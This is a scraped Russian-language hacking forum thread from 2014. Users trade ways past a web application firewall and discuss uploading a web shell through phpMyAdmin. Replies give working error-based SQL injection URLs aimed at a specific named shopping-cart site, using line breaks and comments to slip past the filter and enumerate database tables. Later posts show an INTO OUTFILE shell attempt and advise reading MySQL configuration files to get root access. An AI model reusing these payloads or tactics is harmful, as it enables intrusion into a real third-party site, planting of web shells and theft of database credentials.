ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
15.12.2014, 02:12
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от Br@!ns
Br@!ns said:
не получается обойти waf с фильтром на union select, selecr from. какие решениея есть? мб етсь возможность составить запрос, гду from будет впереди select, или как нибудь по-другому??
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029+||@:=10+g roup+by+left(version(),@:=~@)having+min(0)
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029+or+1+grou p+by+concat((select+table_name+%0A+from+informatio n_schema.tables+limit+1,1),floor(rand(0)*2))having +min(0)
разбиваем запрос переносом строки
|
|
|
15.12.2014, 02:13
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от Br@!ns
Br@!ns said:
не получается обойти waf с фильтром на union select, selecr from. какие решениея есть? мб етсь возможность составить запрос, гду from будет впереди select, или как нибудь по-другому??
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029+||@:=10+g roup+by+left(version(),@:=~@)having+min(0)
Код:
Code:
http://blogger.saibaba.us/cart.php?shopping_cart=yes&add2cart=1029||@:=10+group+by+left((select%23+faza%0Atable_name+from+information_schema.tables+limit+1,1),@:=~@)having+min(0)
|
|
|
|
18.12.2014, 03:41
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
Провел на форуме:
460763
Репутация:
97
|
|
Подскажите как можно залить шелл через phpmyadmin. Не root
Есть пути, пробовал через SELECT '' INTO OUTFILE '/путь/shell.php'
#1045 - Access denied for user 'user'@'localhost' (using password: YES)
Версия MySQL-клиента: 5.1.73
Пробовал вывести на страницы код php, но выводит как текст.
Интересуют всевозможные способы.
|
|
|
|
18.12.2014, 04:29
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от I love this game
I love this game said:
Подскажите как можно залить шелл через phpmyadmin.
Не root
Есть пути, пробовал через SELECT '' INTO OUTFILE '/путь/shell.php'
#1045 - Access denied for user 'user'@'localhost' (using password: YES)
Версия MySQL-клиента: 5.1.73
Пробовал вывести на страницы код php, но выводит как текст.
Интересуют всевозможные способы.
Никак, прав нету
|
|
|
|
18.12.2014, 04:30
|
|
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
Провел на форуме:
883446
Репутация:
82
|
|
Сообщение от I love this game
I love this game said:
Подскажите как можно залить шелл через phpmyadmin.
Не root
Есть пути, пробовал через SELECT '' INTO OUTFILE '/путь/shell.php'
#1045 - Access denied for user 'user'@'localhost' (using password: YES)
Версия MySQL-клиента: 5.1.73
Пробовал вывести на страницы код php, но выводит как текст.
Интересуют всевозможные способы.
без рута не как. так как нету прав на запить. сам когда то мучался пару месяцев. ищи в базе возможно есть база цмс какойто через которую можно залить
|
|
|
|
18.12.2014, 06:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Вы все неправы, можно залиться
https://rdot.org/forum/showthread.php?t=741
|
|
|
|
18.12.2014, 09:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
182660
Репутация:
324
|
|
Сообщение от Strilo4ka
Strilo4ka said:
Вы все неправы, можно залиться
https://rdot.org/forum/showthread.php?t=741
в топике нет ни слова про заливку
только чтение
|
|
|
|
18.12.2014, 10:31
|
|
Guest
Сообщений: n/a
Провел на форуме:
132418
Репутация:
652
|
|
Сообщение от psihoz26
psihoz26 said:
в топике нет ни слова про заливку
только чтение
А Вы головой подумайте.
|
|
|
|
18.12.2014, 16:01
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
Провел на форуме:
460763
Репутация:
97
|
|
Сообщение от Strilo4ka
Strilo4ka said:
Вы все неправы, можно залиться
https://rdot.org/forum/showthread.php?t=741
Спасибо, если я правильно понял, ты ты намекаешь, на то что можно прочитать любые файлы. Если так, то работает, но вряд ли поможет залить шелл. Или же все-таки можно при помощи LOAD DATA INFILE как-то напрямую залить шелл? Я просто не силен в MySQL.
|
|
|
|
18.12.2014, 16:24
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от I love this game
I love this game said:
Спасибо, если я правильно понял, ты ты намекаешь, на то что можно прочитать любые файлы. Если так, то работает, но вряд ли поможет залить шелл. Или же все-таки можно при помощи LOAD DATA INFILE как-то напрямую залить шелл? Я просто не силен в MySQL.
Прочитай конфиги мускула и зайди уже из под рута.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
